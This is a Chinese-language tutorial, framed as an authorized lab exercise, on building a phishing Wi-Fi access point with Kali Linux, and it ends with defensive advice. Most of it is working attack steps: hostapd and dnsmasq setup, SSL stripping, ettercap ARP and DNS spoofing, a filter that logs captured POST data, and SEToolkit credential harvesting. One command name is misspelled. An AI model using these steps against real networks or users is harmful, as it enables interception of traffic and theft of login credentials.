Kali Linux无线安全实战：从钓鱼Wi-Fi搭建到中间人攻击防御

1. 从“蹭网”到“防蹭”：一次关于无线安全的深度实践

最近在整理一些旧项目的笔记，翻到了几年前做无线安全评估时搭建钓鱼Wi-Fi的详细记录。当时这个实验的目的很纯粹：不是为了“搞破坏”，而是为了在一个可控的环境里，亲身体验一下攻击者是如何利用无线网络的信任关系，以及普通用户是如何在不知不觉中“交出”自己的敏感信息的。这就像消防演习，你得知道火是怎么烧起来的，才能更好地设计防火措施。今天，我就把这份尘封的、基于Kali Linux的详细操作手册重新整理出来，并且结合这些年对无线安全的理解，补充一些当时没写进去的“为什么”和“踩过的坑”。

很多人一听到“钓鱼Wi-Fi”就觉得是黑客的专属工具，离自己很远。但实际上，它所利用的原理——中间人攻击（Man-in-the-Middle, MitM）和用户对“免费Wi-Fi”的天然信任——在我们日常生活中无处不在。咖啡馆、机场、酒店的公共网络，甚至是你家楼下新开店铺的“免费上网”，都可能潜藏着风险。通过亲手搭建一个这样的实验环境，你不仅能深刻理解无线认证（如WPA2-Enterprise）、协议降级攻击、SSL剥离等技术的运作细节，更能从一个防御者的视角，思考如何加固自己的网络，识别可疑的接入点。本次实验将使用Kali Linux作为平台，因为它集成了我们所需的大部分专业工具。整个过程我会力求详细，从无线网卡选型、驱动兼容性，到每一个命令的参数含义和可能遇到的错误，都会一一拆解。请记住，所有操作请在你自己完全控制的实验环境（例如家庭内网、物理隔离的虚拟机或专用设备）中进行，切勿对未经授权的网络进行测试。

2. 实验环境搭建：硬件选择与系统准备

工欲善其事，必先利其器。搭建一个稳定可靠的钓鱼Wi-Fi实验环境，第一步往往不是敲命令，而是准备好合适的硬件和软件基础。这一步如果没做对，后面可能会遇到各种稀奇古怪的问题，从网卡无法切换到监听模式，到信号弱得连不上。

2.1 无线网卡：实验成败的关键硬件

不是所有的无线网卡都支持我们需要的“监听模式”（Monitor Mode）和“数据包注入”（Packet Injection）。监听模式允许网卡捕获所有经过其射频范围的无线数据包，而不仅仅是发给自己的；数据包注入则是主动发送伪造的管理帧（如解除认证帧）的基础。对于Kali Linux，以下几类网卡是经过社区广泛验证、兼容性最好的：

• 基于Atheros AR9271芯片的网卡：例如经典的TP-Link TL-WN722N（V1版本，注意V2/V3版本芯片不同，不支持）。这是性价比最高的选择，驱动（ath9k_htc）已直接集成到Linux内核中，即插即用，非常稳定。
• 基于Ralink RT3070/RT3572芯片的网卡：例如Alfa AWUS036NH。同样拥有良好的内核支持，功率通常较大，信号更好。
• 基于Realtek RTL8812AU/RTL8814AU芯片的网卡：这类网卡性能强劲，支持802.11ac，但通常需要手动编译安装驱动（如aircrack-ng项目维护的rtl8812au驱动）。适合对性能和最新协议有要求的进阶用户。

注意：务必避开那些仅提供Windows驱动或需要额外NDISwrapper包装的网卡。在购买前，最好去aircrack-ng官网的硬件兼容性列表查一下。我个人的经验是，对于初次实验，一个几十块的AR9271芯片网卡完全够用，能帮你排除很多由驱动引起的玄学问题。

2.2 Kali Linux 系统配置

假设你已经安装好了Kali Linux。我强烈建议在虚拟机（如VMware Workstation或VirtualBox）中运行Kali，而将USB无线网卡通过虚拟机的USB直通功能（USB Passthrough）直接分配给虚拟机。这样做的好处是隔离性好，宿主机网络不受影响，实验失败可以快速重置虚拟机快照。

1. 更新系统：首先，打开终端，更新软件包列表并升级系统，确保所有工具都是最新版本。

   sudo apt update && sudo apt full-upgrade -y

2. 安装必要工具：我们将用到一系列工具，它们大多已预装在Kali中，但最好确认一下。核心工具套件是aircrack-ng。

   sudo apt install aircrack-ng -y

   此外，我们还需要用于创建软接入点（AP）的工具。这里我选择hostapd（用于创建AP）和dnsmasq（用于提供DHCP和DNS服务）。isc-dhcp-server也是一个选择，但dnsmasq更轻量易配置。

   sudo apt install hostapd dnsmasq -y

3. 配置网络管理服务：Kali默认使用NetworkManager管理网络，它会干扰我们手动配置网卡模式。我们需要先将其对实验网卡的管理关掉。假设我们的外置无线网卡接口名称为wlan1（使用ip a或iwconfig命令查看，通常有线网卡是eth0或ens33，内置无线网卡是wlan0，外置的是wlan1）。

   sudo nmcli dev set wlan1 managed no

   或者，你也可以直接编辑NetworkManager的配置文件/etc/NetworkManager/NetworkManager.conf，在[keyfile]部分下方添加：

   [keyfile] unmanaged-devices=interface-name:wlan1

   然后重启NetworkManager服务：sudo systemctl restart NetworkManager。

2.3 双网卡网络拓扑与IP转发准备

我们的实验需要至少两张网卡：

• wlan1（外置网卡）：用于创建钓鱼Wi-Fi热点（假设SSID为“Free_Public_WiFi”）。
• 另一张网卡（如eth0有线网卡或wlan0内置无线网卡）：用于连接互联网，作为“受害者”流量转发到外部的通道。

拓扑逻辑是：受害者连接我们的钓鱼AP (wlan1) -> 我们的Kali主机将来自wlan1的流量，通过已联网的另一张网卡（如eth0）路由到真实的互联网 -> 互联网的响应再沿原路返回给受害者。这样受害者就能“正常上网”，而我们则能中途截获和分析流量。

为了实现这个路由转发，需要开启Linux内核的IP转发功能：

sudo sysctl -w net.ipv4.ip_forward=1

为了让配置在重启后生效，可以编辑/etc/sysctl.conf，找到并取消注释（或添加）这一行：net.ipv4.ip_forward=1。

3. 创建钓鱼接入点：从监听模式到热点广播

有了准备好的硬件和系统，我们就可以开始“布网”了。这个过程的核心是将网卡切换到监听模式，扫描环境，然后利用工具将其转变为一个伪造的接入点。

3.1 启用监听模式与信道扫描

首先，我们需要关闭可能干扰的进程，并将网卡wlan1设置为监听模式。

# 关闭可能冲突的进程 sudo airmon-ng check kill # 将 wlan1 切换到监听模式，监听模式接口通常命名为 wlan1mon sudo airmon-ng start wlan1

执行后，使用iwconfig命令查看，应该能看到一个名为wlan1mon的接口，模式（Mode）为Monitor。

接下来，使用airodump-ng扫描周围的无线网络，目的是选择一个合适的信道（Channel）来广播我们的钓鱼AP。选择一个相对干净、干扰少的信道能提高稳定性。

sudo airdump-ng wlan1mon

你会看到一个动态更新的列表，显示周边所有Wi-Fi的BSSID（MAC地址）、信道、加密方式等。记下你打算模拟的“目标区域”常用的信道，比如6或11。按Ctrl+C停止扫描。

3.2 配置并启动软接入点（hostapd）

现在，我们使用hostapd将wlan1mon（需要先停止监听模式，hostapd会自己处理模式切换）变身为一个广播特定SSID的接入点。我们需要创建一个配置文件，例如/tmp/hostapd.conf。

sudo tee /tmp/hostapd.conf << 'EOF' interface=wlan1 driver=nl80211 ssid=Free_Public_WiFi hw_mode=g channel=6 ieee80211n=1 wmm_enabled=1 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 # 为了简化实验，我们先创建开放网络（无密码），后续再演示WPA2钓鱼 # wpa=2 # wpa_passphrase=12345678 # wpa_key_mgmt=WPA-PSK # wpa_pairwise=TKIP CCMP # rsn_pairwise=CCMP EOF

关键参数解释：

• interface=wlan1: 使用原始接口名，hostapd会自行处理模式切换。
• ssid=Free_Public_WiFi: 这就是钓鱼热点广播的名称。
• channel=6: 信道，与之前扫描观察到的环境匹配。
• hw_mode=g: 使用802.11g模式，兼容性好。

在另一个终端窗口，启动hostapd：

sudo hostapd /tmp/hostapd.conf

如果一切正常，你应该能看到hostapd启动成功的日志，并且用手机或另一台电脑可以搜索到名为“Free_Public_WiFi”的开放Wi-Fi网络。

3.3 配置DHCP与DNS服务（dnsmasq）

接入点有了，但客户端（受害者）连接后需要自动获取IP地址（DHCP）和域名解析服务（DNS）。我们使用dnsmasq来提供这些服务。首先停止系统可能自带的dnsmasq服务，然后创建一个临时配置。

# 停止系统服务 sudo systemctl stop dnsmasq # 为 wlan1 接口配置一个私有IP地址 sudo ip addr add 192.168.2.1/24 dev wlan1 sudo ip link set wlan1 up # 创建 dnsmasq 配置文件 sudo tee /tmp/dnsmasq.conf << 'EOF' interface=wlan1 dhcp-range=192.168.2.100,192.168.2.200,255.255.255.0,24h dhcp-option=3,192.168.2.1 dhcp-option=6,192.168.2.1 server=8.8.8.8 log-queries log-dhcp EOF

参数解释：

• interface=wlan1: 在wlan1接口上提供服务。
• dhcp-range: 定义分配的IP地址池（192.168.2.100到200），子网掩码，租期。
• dhcp-option=3: 指定网关地址为192.168.2.1（即Kali主机的wlan1接口IP）。
• dhcp-option=6: 指定DNS服务器地址也为192.168.2.1。
• server=8.8.8.8: 将上游DNS请求转发至Google DNS（8.8.8.8）。

在另一个终端启动dnsmasq：

sudo dnsmasq -C /tmp/dnsmasq.conf -d

-d参数表示在前台运行，方便查看日志。此时，客户端连接“Free_Public_WiFi”后，应该能自动获取到192.168.2.x网段的IP，并可以尝试上网（但流量还无法转发到外网）。

4. 流量转发与基础中间人攻击

现在，客户端能连上AP并拿到IP，但还无法访问互联网，因为流量还没有被路由出去。同时，我们要开始部署中间人攻击工具，对流量进行拦截和操纵。

4.1 配置iptables实现NAT转发

我们需要设置iptables规则，将来自钓鱼Wi-Fi（wlan1，网段192.168.2.0/24）的流量，通过我们的上行网卡（假设是eth0）进行网络地址转换（NAT）后发送到互联网。

# 1. 清空现有规则（实验环境操作，生产环境切勿直接使用） sudo iptables -F sudo iptables -t nat -F # 2. 设置默认策略 sudo iptables -P FORWARD ACCEPT # 3. 启用MASQUERADE（动态源地址转换） sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # 4. 允许转发来自 wlan1 的流量 sudo iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o wlan1 -m state --state RELATED,ESTABLISHED -j ACCEPT

规则解释：-t nat -A POSTROUTING -o eth0 -j MASQUERADE这条规则是关键。它会对从eth0出口的、源地址是内网（192.168.2.x）的数据包，将其源IP替换为eth0自己的公网IP，这样回包才能正确返回。另外两条FORWARD规则允许了双向流量的转发。

现在，连接钓鱼Wi-Fi的客户端应该已经可以正常访问互联网了。你可以让测试机打开网页试试。

4.2 部署SSLStrip进行SSL降级攻击（基础版）

很多网站使用HTTPS（SSL/TLS加密），这会让我们的中间人无法直接看到明文数据（如账号密码）。SSLStrip是一种工具，它通过将用户浏览器中的HTTPS链接替换为HTTP链接，从而剥离SSL加密。其原理是监听80端口，并篡改页面中的https://链接和HSTS头部。

首先，我们需要配置iptables，将客户端试图访问HTTP（80端口）的流量重定向到我们本地监听的端口（比如8080）。

# 将目标端口为80的流量重定向到本机8080端口 sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

然后，在一个新的终端中启动sslstrip（Kali已预装）：

sudo sslstrip -l 8080 -w /tmp/sslstrip.log

• -l 8080: 监听8080端口。
• -w /tmp/sslstrip.log: 将截获的日志（包括可能捕获的明文信息）保存到指定文件。

此时，当客户端访问一个HTTP网站，或者被SSLStrip成功降级的网站时，其与服务器之间的通信在到达我们主机之前是明文的，sslstrip就能记录下可能存在的敏感信息。你可以打开/tmp/sslstrip.log查看捕获的数据。

重要提示：随着HSTS（HTTP Strict Transport Security）的普及，现代浏览器会强制对很多知名网站使用HTTPS，使得SSLStrip的效果大不如前。这引出了我们更强大的工具。

5. 高级中间人攻击：使用Ettercap进行ARP欺骗与流量嗅探

在更真实的钓鱼场景中，我们可能不是创建一个全新的开放Wi-Fi，而是克隆一个已存在的、需要密码的Wi-Fi（比如“Starbucks_WiFi”的克隆版）。这时，我们需要更主动的中间人技术。Ettercap是一个功能强大的综合嗅探/中间人攻击套件，支持ARP欺骗、DNS欺骗等。

5.1 针对局域网内特定目标的ARP欺骗

假设我们的钓鱼AP已经部署，并且有一台受害者（IP:192.168.2.105）连接上来。我们想对这台特定主机和网关（192.168.2.1，即我们自己）之间的所有流量进行中间人攻击。

1. 启用IP转发（确保之前已开启）。
2. 启动Ettercap的图形界面或文本界面。这里以文本界面为例，因为它更易于脚本化和说明。

   sudo ettercap -T -q -M arp:remote /192.168.2.105// /192.168.2.1//

   • -T: 使用文本界面。
   • -q: 安静模式（减少输出）。
   • -M arp:remote: 启动ARP欺骗中间人攻击。
   • //之间的部分是目标。这里/192.168.2.105//是受害者，/192.168.2.1//是网关。格式是/MAC地址/IP地址/，如果省略MAC，Ettercap会自动解析。

执行后，Ettercap会开始向双方发送伪造的ARP应答包，告诉受害者“网关的MAC地址是攻击者的MAC”，同时告诉网关“受害者的MAC地址是攻击者的MAC”。这样，双方的数据包都会流经我们的Kali主机。

5.2 结合Ettercap过滤器进行数据捕获与篡改

Ettercap的强大之处在于其过滤器（Filter）功能。你可以编写自定义的过滤器脚本，在流量经过时实时搜索、替换或记录特定内容。例如，一个记录所有HTTP POST请求（通常包含登录表单数据）的简单过滤器：

创建一个文件post_sniffer.ecf:

if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "POST")) { log(DATA.data, "/tmp/post_capture.log"); msg("HTTP POST request captured!\n"); } }

编译并加载过滤器：

sudo etterfilter post_sniffer.ecf -o post_sniffer.ef # 在启动Ettercap后，在它的交互界面（按‘h’查看帮助）或通过命令行参数加载过滤器

更复杂的攻击如DNS欺骗（将特定域名解析到我们控制的IP），可以在Ettercap的Plugins菜单中启用dns_spoof插件，并编辑/etc/ettercap/etter.dns文件，添加如*.google.com A 192.168.2.1的条目，将谷歌的流量引向我们的钓鱼服务器。

6. 制作高仿登录页面与信息收集

最直接的“钓鱼”方式是当用户尝试访问某些网站（如邮箱、社交网络）时，呈现一个与真实网站外观一模一样的登录页面，诱使用户输入凭据。

6.1 使用SEToolkit克隆网站

Social-Engineer Toolkit (SEToolkit) 是Kali中一款自动化社会工程学工具集，其中的“网站克隆”功能非常便捷。

1. 启动SEToolkit：sudo setoolkit
2. 选择1) Social-Engineering Attacks
3. 选择2) Website Attack Vectors
4. 选择3) Credential Harvester Attack Method
5. 选择2) Site Cloner
6. 输入你本机的IP地址（即钓鱼AP的网关IP，如192.168.2.1）。
7. 输入要克隆的网站URL（例如：https://www.example.com/login）。

SEToolkit会自动在本地（80端口）启动一个Apache服务器，并尝试克隆目标网站的登录页面。同时，它会生成一个后台PHP脚本，用于接收并保存用户提交的登录信息到本地文件。

6.2 结合DNS欺骗引导流量

仅仅克隆页面还不够，需要让受害者访问我们的IP（192.168.2.1）时，看到的是克隆页面。有几种方式：

• 直接IP访问：如果用户手动输入IP，但这不现实。
• 短链接或二维码：结合社会工程学，诱使用户点击指向http://192.168.2.1的链接。
• DNS欺骗：如前所述，使用Ettercap的dns_spoof插件，将example.com解析到192.168.2.1。这样，当受害者在浏览器中输入example.com时，就会直接访问我们的克隆站点。

6.3 信息接收与处理

用户在被克隆页面上提交的凭证，默认会被SEToolkit保存在/var/www/html目录下的某个文本文件中。你可以实时监控这个文件：

sudo tail -f /var/www/html/your_saved_file.txt

在实际的渗透测试中，获取到凭证后应立即停止攻击，并向客户报告漏洞。绝对禁止将获取的凭证用于任何未经授权的访问。

7. 实验后的清理、反思与防御视角

实验完成后，务必清理现场，恢复网络配置，并思考如何防御此类攻击。

7.1 环境清理步骤

1. 停止所有服务：按Ctrl+C停止hostapd、dnsmasq、sslstrip、ettercap等进程。
2. 恢复网卡模式：

   sudo airmon-ng stop wlan1mon sudo ip link set wlan1 down

3. 清除iptables规则：

   sudo iptables -F sudo iptables -t nat -F sudo iptables -P FORWARD DROP # 恢复默认策略（安全起见） sudo sysctl -w net.ipv4.ip_forward=0 # 关闭IP转发

4. 恢复NetworkManager管理：

   sudo nmcli dev set wlan1 managed yes sudo systemctl restart NetworkManager

7.2 从攻击中学习防御：个人与企业的安全建议

通过这次搭建，你应该深刻体会到无线网络面临的威胁。以下是一些关键的防御措施：

• 对普通用户：

  • 警惕开放Wi-Fi：尽量避免连接无需密码的公共Wi-Fi。如果必须使用，不要进行登录、网银、购物等敏感操作。
  • 使用VPN：在公共网络下，使用可靠的虚拟专用网络服务，将所有流量加密隧道传输，可以有效防止中间人窥探。
  • 注意网址：始终检查浏览器地址栏，确保访问的是https://开头且证书有效的网站（锁形图标）。
  • 关闭Wi-Fi自动连接：防止设备自动连接到恶意克隆的热点。
  • 使用移动数据：对于高敏感操作，切换至蜂窝移动网络更安全。

• 对企业与网络管理员：

  • 部署WPA2-Enterprise/WPA3：使用802.1X认证，为每个用户或设备分配独立的凭证，避免使用共享的预共享密钥（PSK）。
  • 启用无线入侵检测/防御系统（WIDS/WIPS）：监控无线频谱，识别并阻止流氓接入点（Rogue AP）和解除认证攻击。
  • 实施网络分段：将访客网络与内部核心网络严格隔离。
  • 强制使用HTTPS和HSTS：确保所有内部和对外服务都启用HTTPS，并部署HSTS头部。
  • 定期进行无线安全评估：使用Kali Linux等工具，以授权测试的方式，主动发现自身无线网络存在的漏洞。

这次搭建钓鱼Wi-Fi的完整旅程，从硬件准备到高级攻击演示，其核心目的始终是理解攻击手法以构建更有效的防御。无线安全是一个动态攻防的领域，新的漏洞和防御技术不断涌现。保持学习，保持警惕，才能在数字世界中更好地保护自己和组织的安全。在实验过程中，最深的体会是自动化工具降低了攻击门槛，但真正有效的防御，始于对基本安全原则的坚守和对异常情况的警觉。